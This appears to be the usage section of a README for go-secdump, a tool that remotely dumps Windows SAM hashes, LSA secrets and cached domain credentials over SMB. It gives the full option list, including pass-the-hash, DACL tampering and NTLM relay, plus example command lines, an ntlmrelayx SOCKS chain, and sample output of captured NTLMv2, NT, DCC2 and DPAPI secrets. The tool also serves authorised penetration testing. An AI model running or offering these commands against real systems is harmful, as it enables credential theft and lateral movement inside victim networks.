Usage: ./go-secdump [options]

options:
      --host <target>        Hostname or ip address of remote server. Must be hostname when using Kerberos
  -P, --port <port>          SMB Port (default 445)
  -d, --domain <domain>      Domain name to use for login
  -u, --user <username>      Username
  -p, --pass <pass>          Password
  -n, --no-pass              Disable password prompt and send no credentials
      --hash <NT Hash>       Hex encoded NT Hash for user password
      --local                Authenticate as a local user instead of domain user
  -k, --kerberos             Use Kerberos authentication. (KRB5CCNAME will be checked on Linux)
      --dc-ip <ip>           Optionally specify ip of KDC when using Kerberos authentication
      --target-ip <ip>       Optionally specify ip of target when using Kerberos authentication
      --aes-key <hex>        Use a hex encoded AES128/256 key for Kerberos authentication
      --keytab-file <file>   Authenticate using keys from a keytab file (implies -k). User and
                             domain are taken from the first keytab entry if not specified
      --dns-host <ip[:port]> Override system's default DNS resolver
      --dns-tcp              Force DNS lookups over TCP. Default true when using --socks-host
      --dump                 Saves the SAM and SECURITY hives to disk and
                             transfers them to the local machine.
      --sam                  Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
      --lsa                  Extract LSA secrets explicitly. Only other explicit targets are included.
      --dcc2                 Extract DCC2 caches explicitly. Only other explicit targets are included.
      --misc                 Extract misc registry secrets such as the Winlogon
                             DefaultPassword explicitly. Only other explicit targets are included.
      --modify-dacl          Change DACLs of reg keys before dump.
                             Only required if keys cannot be opened using SeBackupPrivilege. (default false)
      --backup-dacl          Save original DACLs to disk before modification
      --restore-dacl         Restore DACLs using disk backup. Could be useful if automated restore fails.
      --backup-file <file>   Filename for DACL backup (default dacl.backup)
      --relay                Start an SMB listener that will relay incoming
                             NTLM authentications to the remote server and
                             use that connection. NOTE that this forces SMB 2.1
                             without encryption.
      --relay-port <port>    Listening port for relay (default 445)
      --socks-host <target>  Establish connection via a SOCKS5 proxy server
      --socks-port <port>    SOCKS5 proxy port (default 1080)
  -t, --timeout <duration>   Dial timeout in format 5s or 2m (default 5s)
      --noenc                Disable smb encryption
      --smb2                 Force smb 2.1
      --debug                Enable debug logging. Bare --debug turns on every
                             registered package; --debug=msrrp,smb turns on only the
                             listed package-name suffixes (the '=' form is required
                             for the filter).
      --verbose              Enable verbose logging. Same filter syntax as --debug.
                             --debug and --verbose may be combined with different
                             filters; a package targeted by both gets the higher level.
      --list-log-packages    List the registered log package names that can be
                             targeted with --debug=<suffix> or --verbose=<suffix>,
                             then exit
  -o, --output <file>        Filename for writing results (default is stdout). Will append to file if it exists.
      --output-format <fmt>  Output format: text (default), json, or hashcat
      --history              Include historical (OldVal) LSA secrets in addition to current values
  -q, --quiet                Suppress informational headers; print only secrets
  -v, --version              Show version

./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc

./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet

./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb

./go-secdump --host 192.168.0.100 -n --relay

YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5

Name: Guest
RID: 501
NT: <empty>

Name: DefaultAccount
RID: 503
NT: <empty>

Name: WDAGUtilityAccount
RID: 504
NT: <empty>

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...

./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...

./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080